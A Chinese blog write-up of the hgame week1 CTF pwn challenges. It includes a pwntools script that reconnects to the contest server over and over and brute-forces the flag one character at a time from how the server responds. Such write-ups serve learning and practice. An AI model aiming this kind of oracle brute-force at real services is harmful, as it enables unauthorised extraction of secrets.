2.3第九条咸鱼

2019-02-05  本文已影响0人  好大一只免孑

hgame week1

pwn

aaaaaaaaaa

图片.png

疯狂输入a了解一下

图片.png

薯片拯救世界

这道题感觉很奇怪

图片.png

Ida是这样

按照题目思路给一个buf的值 如果只给了一个h 而h恰好是s1第一个字母的话应该会打破循环输出点不一样的东西然而事实上并没有(程序试出来应该是输出勇者Ch1p在今天...觉醒了!)
emmmmmmmmmm
但是最后又的确是靠这个思路做出来的
因吹斯听

flag头几个字母肯定是hgame{

先用一小段程序找了一下规律
主要逻辑是这样

for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i)
            break
    print (s)

把s依次定义为h hg hga hgam 试了一下愉快地发现输出来的字母要比真正字母的ASCII码大2 我?????????????

至于为什么。。。这题已经这么日怪了就不要在意这些了

然后爆破的思路就是nc疯狂循环关闭再nc了
毕竟一次程序只能得到一个字母

所以最后exp是这样的

from pwn import * 

s = 'hgame'
for a in range(24):
    sh=remote('118.24.3.214',10001)
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    
    for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i-2)
            break
    print (s)
    sh.close()
sh.interactive()

有个问题是每次运行都可能会发生错误得到错误的字母
这种时候手动更新一下s就行了
垃圾题

上一篇 下一篇

猜你喜欢

热点阅读